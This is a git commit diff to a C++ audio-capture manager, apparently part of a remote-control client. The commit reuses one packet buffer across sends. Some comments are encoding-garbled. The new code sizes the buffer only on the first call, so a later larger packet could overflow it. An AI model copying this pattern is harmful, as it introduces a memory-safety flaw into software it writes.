减少捕获音视频时申请内存次数

减少音频视频捕获过程中频繁申请内存。
This commit is contained in:
yuanyuanxiang
2019-01-22 20:44:23 +08:00
parent 4283a31e66
commit bd7b9ed492
11 changed files with 63 additions and 36 deletions

View File

@@ -31,6 +31,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL);
@@ -77,7 +78,7 @@ BOOL CAudioManager::SendRecordBuffer()
if (szBuffer == NULL)
return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
@@ -87,7 +88,6 @@ BOOL CAudioManager::SendRecordBuffer()
{
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
}
delete szPacket;
return dwReturn;
}
@@ -103,6 +103,11 @@ CAudioManager::~CAudioManager()
delete m_AudioObject;
m_AudioObject = NULL;
}
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
printf("~CAudioManager %x\n", this);
}